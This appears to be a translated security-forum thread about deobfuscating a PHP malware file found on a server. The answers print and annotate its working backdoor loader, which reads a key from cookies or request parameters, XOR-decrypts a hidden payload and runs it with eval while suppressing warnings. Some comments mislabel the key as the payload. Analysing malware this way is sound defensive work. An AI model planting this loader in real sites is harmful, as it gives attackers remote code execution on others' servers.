如何去混淆这个 PHP 恶意软件？

信息安全 php 恶意软件
2021-08-17 10:50:09

两天前，一个朋友的服务器上出现了一个名为“images.php”的文件，他注意到了这个文件，因为它导致了错误。该文件包含以下内容。此代码来源不明，推测为恶意软件，因此请勿运行。

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?>

我用 替换了eval，echo在 phpfiddle 上运行它，得到了更多相同的混淆，这次是多eval行。

对这类事情进行去混淆处理以便我弄清楚它在做什么的最佳方法是什么？

3个回答

恶意软件创建者通常很难混淆 exec() 或 eval() 调用，因此一种好的技术是用 echo 替换这些调用。如果你对上面的代码这样做，你最终会得到一整堆更加模糊的代码，但除了底部的内容之外，它大部分都是垃圾：

if(!@isset($_SERVER)){$_COOKIE=&$HTTP_COOKIE_VARS;$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;}$k=$_COOKIE['key'];if(empty($k)){$k=$_POST['key'];}if(empty($k)){$k=$_GET['key'];}if(!@function_exists('decrypt')){eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');}$d=@decrypt($d,$k);eval($d);

如果你用我添加的一些评论很好地清理它（感谢 IntelliJ）：

// Compatibility with really old versions of PHP I think
if (!@isset($_SERVER)) {
    $_COOKIE =& $HTTP_COOKIE_VARS;
    $_POST =& $HTTP_POST_VARS;
    $_GET =& $HTTP_GET_VARS;
}
// If there's a cookie called "key" set $k to be the payload
$k = $_COOKIE['key'];
if (empty($k)) {
    $k = $_POST['key'];
}
// If there's no cookie then get the payload from a get parameter called 'key'
if (empty($k)) {
    $k = $_GET['key'];
}

// Define a function to de-obfuscate the payload
if (!@function_exists('decrypt')) {
    eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');
}
// Set $d to the de-obfuscated payload
$d = @decrypt($d, $k);

// eval $d
eval($d);

这更容易理解。

所以基本上他们是：

  1. 寻找一个名为 key 的 cookie
  2. 如果没有cookie然后检查get参数
  3. 对从 cookie 或 get 参数获取的有效负载进行去混淆处理
  4. 评估该代码

他们费心混淆他们在 cookie 或 get 参数中传递的有效负载的原因是为了减少它被寻找 PHP 代码的 IDS 拾取或有人会在日志中发现它的机会。

我已经完全去混淆了代码，只是为了好玩。

首先对代码的顽皮方面进行一些评论。运算符的使用@几乎适用于每个函数调用。这将抑制可能由代码生成的警告，因此有助于对定期检查其日志的系统管理员隐藏它。

注意，我不知道为什么decrypt()函数的定义发生在eval(). if如果您只是在'true子句中按原样声明函数，则代码的工作方式完全相同。

这是完整的代码：

// Compatibility for old versions of PHP which used different variable naming
if (!@isset($_SERVER)) {
    $_COOKIE =& $HTTP_COOKIE_VARS;
    $_POST =& $HTTP_POST_VARS;
    $_GET =& $HTTP_GET_VARS;
}
// If there's a cookie called "key" set $k to be the payload
$k = $_COOKIE['key'];
if (empty($k)) {
    $k = $_POST['key'];
}
// If there's no cookie then get the payload from a get parameter called 'key'
if (empty($k)) {
    $k = $_GET['key'];
}

// Define a function to de-obfuscate the payload
if (!@function_exists('decrypt')) {
    eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');
}
// Set $d to the de-obfuscated payload
$d = @decrypt($d, $k);

// eval $d
eval($d);

现在让我们更深入地研究一下这个decrypt()函数。清理干净后是这样的：

function decrypt($encrypted_string, $key)
{
    if(!$key)
        return;

    $encrypted_string_len = @strlen($encrypted_string);
    $key_len = @strlen($key);
    $rl = $encrypted_string_len % $key_len;
    $fl = $encrypted_string_len - $rl;

    for($o=0; $o < $fl; $o += $key_len)
    {
        $p = @substr($encrypted_string, $o, $key_len);
        $d .= "$key" ^ "$p";
    }

    if($rl)
    {
        $p = @substr($encrypted_string, $fl, $rl);
        $key = @substr($key, 0, $rl);
        $d .= "$key" ^ "$p";
    }
    return($d);
}

这是一个简单的基于 XOR 的加密方案。获取密钥并评估相对于消息的长度。如果密钥长度精确地划分为消息长度，那么它会循环遍历消息，获取密钥长度的块并对整个字符串（^运算符）执行异或，然后构建解密结果。如果它没有精确划分，则剩余的块与密钥的开头进行异或运算，直到必要的长度。

它是嵌入在 PHP 中的 perl，例如将以下内容复制并粘贴到文本中： 

''=~('(?{'.('.,)./}'^'^^@@[]').'"'.('@-:}/@@]}@.@]}.@,@^'^'/@]][(%$]+@/*]^%^,|').',$/})')

$ more perltest 
''=~('(?{'.('.,)./}'^'^^@@[]').'"'.('@-:}/@@]}@.@]}.@,@^'^'/@]][(%$]+@/*]^%^,|').',$/})')

$ perl perltest 
omg they know perl
$

我希望我现在有时间去deob。明天我会回来讨论它。但本质上，它的代码被塞进了代码里面。

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